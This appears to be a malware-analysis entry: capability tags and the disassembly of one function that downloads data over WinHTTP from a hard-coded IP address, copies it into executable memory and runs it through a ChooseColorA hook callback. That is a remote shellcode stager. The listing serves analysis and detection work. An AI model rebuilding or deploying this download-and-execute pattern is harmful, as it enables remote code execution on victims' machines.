Function at 0x401d7b
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
push ebp
mov eax, 0xdbc0c
mov ebp, esp
push edi
push esi
push ebx
call fcn.0040e100
sub esp, eax
xor eax, eax
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], eax
mov dword [esp + 8], eax
mov dword [esp + 4], eax
mov dword [esp], str.user_Agent
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
sub esp, 0x14
test eax, eax
jne 0x401dd7
mov dword [esp + 4], 0x4be144
mov dword [esp], 0x4bda40
call fcn.004b02b0
mov dword [esp], 0x4ae9a0
mov ecx, eax
call fcn.0040165c
jmp 0x401e33
mov esi, eax
xor eax, eax
mov dword [esp + 8], 0x22b8
mov dword [esp + 0xc], eax
mov dword [esp + 4], str.111.173.80.92
mov dword [esp], esi
call dword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov ebx, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
sub esp, 0x10
test eax, eax
mov dword [ebp - 0xdbbec], eax
jne 0x401e39
mov dword [esp + 4], 0x4be16e
mov dword [esp], 0x4bda40
call fcn.004b02b0
mov dword [esp], 0x4ae9a0
mov ecx, eax
call fcn.0040165c
push eax
mov dword [esp], esi
call ebx
push eax
jmp 0x402007
xor edi, edi
mov dword [esp + 8], str._mis
mov dword [esp + 0x18], edi
mov dword [esp + 0x14], edi
mov dword [esp + 0x10], edi
mov dword [esp + 0xc], edi
mov dword [esp + 4], 0x4be182
mov eax, dword [ebp - 0xdbbec]
mov dword [esp], eax
call dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
sub esp, 0x1c
mov edi, eax
test eax, eax
jne 0x401e9a
mov dword [esp + 4], 0x4be18a
mov dword [esp], 0x4bda40
call fcn.004b02b0
mov dword [esp], 0x4ae9a0
mov ecx, eax
call fcn.0040165c
jmp 0x401f41
xor ecx, ecx
mov dword [esp], eax
mov dword [esp + 0x18], ecx
mov dword [esp + 0x14], ecx
mov dword [esp + 0x10], ecx
mov dword [esp + 0xc], ecx
mov dword [esp + 8], ecx
mov dword [esp + 4], ecx
call dword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
sub esp, 0x1c
test eax, eax
jne 0x401ece
mov dword [esp + 4], 0x4be197
jmp 0x401f21
xor eax, eax
mov dword [esp], edi
mov dword [esp + 4], eax
call dword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
push edx
push edx
test eax, eax
jne 0x401eed
mov dword [esp + 4], 0x4be1a4
jmp 0x401f21
lea eax, [ebp - 0xdbbe0]
mov dword [esp + 8], 0xdbba0
mov dword [esp + 0xc], eax
lea eax, [ebp - 0xdbbb8]
mov dword [esp + 4], eax
mov dword [esp], edi
call dword [sym.imp.WINHTTP.dll_WinHttpReadData]
sub esp, 0x10
test eax, eax
jne 0x401f52
mov dword [esp + 4], 0x4be1b1
mov dword [esp], 0x4bda40
call fcn.004b02b0
mov dword [esp], 0x4ae9a0
mov ecx, eax
call fcn.0040165c
push eax
mov dword [esp], edi
call ebx
push eax
mov eax, dword [ebp - 0xdbbec]
mov dword [esp], eax
call ebx
jmp 0x401e2d
mov dword [esp], edi
call ebx
push eax
mov eax, dword [ebp - 0xdbbec]
mov dword [esp], eax
call ebx
push edx
mov dword [esp], esi
lea esi, [ebp - 0xdbbb8]
call ebx
push ecx
mov eax, dword [ebp - 0xdbbe0]
mov dword [esp], eax
call fcn.004b29c0
mov ebx, eax
mov eax, dword [ebp - 0xdbbe0]
mov edi, ebx
mov ecx, eax
rep movsb byte es:[edi], byte [esi]
xor esi, esi
mov dword [ebp - 0xdbbec], ecx
mov dword [esp], esi
mov esi, ebx
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x1000
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov ecx, dword [ebp - 0xdbbe0]
mov edx, eax
mov edi, eax
mov eax, dword [ebp - 0xdbbec]
sub esp, 0x10
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0xdbbd8]
mov ecx, 8
mov dword [ebp - 0xdbbdc], 0x24
rep stosd dword es:[edi], eax
lea eax, [ebp - 0xdbbdc]
mov dword [ebp - 0xdbbc0], edx
mov dword [ebp - 0xdbbc8], 0x10
mov dword [esp], eax
call dword [sym.imp.COMDLG32.DLL_ChooseColorA]
push edi
mov dword [esp], ebx
call fcn.004b2990
lea esp, [ebp - 0xc]
mov eax, 1
pop ebx
pop esi
pop edi
pop ebp
ret